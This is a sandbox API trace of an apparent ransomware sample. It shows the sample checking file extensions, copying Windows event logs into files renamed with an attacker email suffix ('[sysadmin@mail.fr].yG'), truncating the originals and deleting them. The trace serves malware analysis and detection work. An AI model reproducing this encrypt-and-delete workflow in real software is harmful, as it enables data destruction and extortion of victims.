	[0049.422] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString=".rar") returned 4
	[0049.422] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString=".bz2") returned 4
	[0049.422] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString=".7z") returned 3
	[0049.422] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.422] lstrlenW (lpString=".dbf") returned 4
	[0049.423] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString=".1cd") returned 4
	[0049.423] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString=".jpg") returned 4
	[0049.423] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString=".doc") returned 4
	[0049.423] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString=".docx") returned 5
	[0049.423] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.423] lstrlenW (lpString=".pdf") returned 4
	[0049.423] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString=".xls") returned 4
	[0049.423] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString=".xlsx") returned 5
	[0049.423] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.423] lstrlenW (lpString=".ppt") returned 4
	[0049.423] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString=".zip") returned 4
	[0049.423] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString=".rar") returned 4
	[0049.423] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString=".bz2") returned 4
	[0049.423] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString=".7z") returned 3
	[0049.423] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString=".dbf") returned 4
	[0049.423] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.423] lstrlenW (lpString=".1cd") returned 4
	[0049.423] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.424] lstrlenW (lpString=".jpg") returned 4
	[0049.424] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.424] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.424] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49
	[0049.424] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.426] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0049.426] CloseHandle (hObject=0x350) returned 1
	[0049.427] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0049.427] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.427] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.427] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.427] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.427] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0049.427] GetLastError () returned 0x0
	[0049.427] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.510] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.513] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.513] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x136, lpOverlapped=0x0) returned 1
	[0049.513] SetEndOfFile (hFile=0x398) returned 1
	[0049.513] CloseHandle (hObject=0x398) returned 1
	[0049.515] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.515] SetEndOfFile (hFile=0x350) returned 1
	[0049.516] CloseHandle (hObject=0x350) returned 1
	[0049.516] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.516] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1
	[0049.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.516] lstrlenW (lpString=".doc") returned 4
	[0049.516] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.516] lstrlenW (lpString=".docx") returned 5
	[0049.516] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.517] lstrlenW (lpString=".pdf") returned 4
	[0049.517] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString=".xls") returned 4
	[0049.517] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString=".xlsx") returned 5
	[0049.517] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.517] lstrlenW (lpString=".ppt") returned 4
	[0049.517] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.517] lstrlenW (lpString=".zip") returned 4
	[0049.517] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString=".rar") returned 4
	[0049.517] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString=".bz2") returned 4
	[0049.517] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString=".7z") returned 3
	[0049.517] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.517] lstrlenW (lpString=".dbf") returned 4
	[0049.517] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.517] lstrlenW (lpString=".1cd") returned 4
	[0049.517] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.517] lstrlenW (lpString=".jpg") returned 4
	[0049.517] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.517] lstrlenW (lpString=".doc") returned 4
	[0049.517] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString=".docx") returned 5
	[0049.518] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.518] lstrlenW (lpString=".pdf") returned 4
	[0049.518] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString=".xls") returned 4
	[0049.518] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString=".xlsx") returned 5
	[0049.518] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.518] lstrlenW (lpString=".ppt") returned 4
	[0049.518] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.518] lstrlenW (lpString=".zip") returned 4
	[0049.518] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString=".rar") returned 4
	[0049.518] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString=".bz2") returned 4
	[0049.518] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString=".7z") returned 3
	[0049.518] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.518] lstrlenW (lpString=".dbf") returned 4
	[0049.518] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.518] lstrlenW (lpString=".1cd") returned 4
	[0049.518] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0049.518] lstrlenW (lpString=".jpg") returned 4
	[0049.518] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.518] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.519] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47
	[0049.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.519] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0049.519] CloseHandle (hObject=0x350) returned 1
	[0049.519] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0049.519] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.519] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.519] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0049.520] GetLastError () returned 0x0
	[0049.520] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.743] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.744] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.744] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x132, lpOverlapped=0x0) returned 1
	[0049.744] SetEndOfFile (hFile=0x398) returned 1
	[0050.037] CloseHandle (hObject=0x398) returned 1
	[0050.039] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.039] SetEndOfFile (hFile=0x350) returned 1
	[0050.040] CloseHandle (hObject=0x350) returned 1
	[0050.040] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.040] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.041] lstrlenW (lpString=".doc") returned 4
	[0050.041] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString=".docx") returned 5
	[0050.041] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.041] lstrlenW (lpString=".pdf") returned 4
	[0050.041] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString=".xls") returned 4
	[0050.041] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString=".xlsx") returned 5
	[0050.041] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.041] lstrlenW (lpString=".ppt") returned 4
	[0050.041] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.041] lstrlenW (lpString=".zip") returned 4
	[0050.041] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString=".rar") returned 4
	[0050.041] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString=".bz2") returned 4
	[0050.041] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString=".7z") returned 3
	[0050.041] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.041] lstrlenW (lpString=".dbf") returned 4
	[0050.041] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.041] lstrlenW (lpString=".1cd") returned 4
	[0050.041] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.041] lstrlenW (lpString=".jpg") returned 4
	[0050.041] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.042] lstrlenW (lpString=".doc") returned 4
	[0050.042] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString=".docx") returned 5
	[0050.042] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.042] lstrlenW (lpString=".pdf") returned 4
	[0050.042] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString=".xls") returned 4
	[0050.042] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString=".xlsx") returned 5
	[0050.042] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.042] lstrlenW (lpString=".ppt") returned 4
	[0050.042] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.042] lstrlenW (lpString=".zip") returned 4
	[0050.042] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString=".rar") returned 4
	[0050.042] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString=".bz2") returned 4
	[0050.042] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString=".7z") returned 3
	[0050.042] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.042] lstrlenW (lpString=".dbf") returned 4
	[0050.042] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.042] lstrlenW (lpString=".1cd") returned 4
	[0050.042] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0050.042] lstrlenW (lpString=".jpg") returned 4
	[0050.042] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.042] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.043] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47
	[0050.043] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0050.043] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0050.043] CloseHandle (hObject=0x350) returned 1
	[0050.043] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0050.043] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.043] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0050.043] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.043] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.043] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0050.059] GetLastError () returned 0x0
	[0050.059] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.084] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.085] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.085] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x132, lpOverlapped=0x0) returned 1
	[0050.085] SetEndOfFile (hFile=0x398) returned 1
	[0050.085] CloseHandle (hObject=0x398) returned 1
	[0050.087] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.087] SetEndOfFile (hFile=0x350) returned 1
	[0050.088] CloseHandle (hObject=0x350) returned 1
	[0050.088] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.088] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1
	[0050.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.088] lstrlenW (lpString=".doc") returned 4
	[0050.088] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString=".docx") returned 5
	[0050.089] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.089] lstrlenW (lpString=".pdf") returned 4
	[0050.089] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString=".xls") returned 4
	[0050.089] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString=".xlsx") returned 5
	[0050.089] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.089] lstrlenW (lpString=".ppt") returned 4
	[0050.089] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.089] lstrlenW (lpString=".zip") returned 4
	[0050.089] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString=".rar") returned 4
	[0050.089] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString=".bz2") returned 4
	[0050.089] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString=".7z") returned 3
	[0050.089] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.089] lstrlenW (lpString=".dbf") returned 4
	[0050.089] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.089] lstrlenW (lpString=".1cd") returned 4
	[0050.089] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.089] lstrlenW (lpString=".jpg") returned 4
	[0050.089] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.090] lstrlenW (lpString=".doc") returned 4
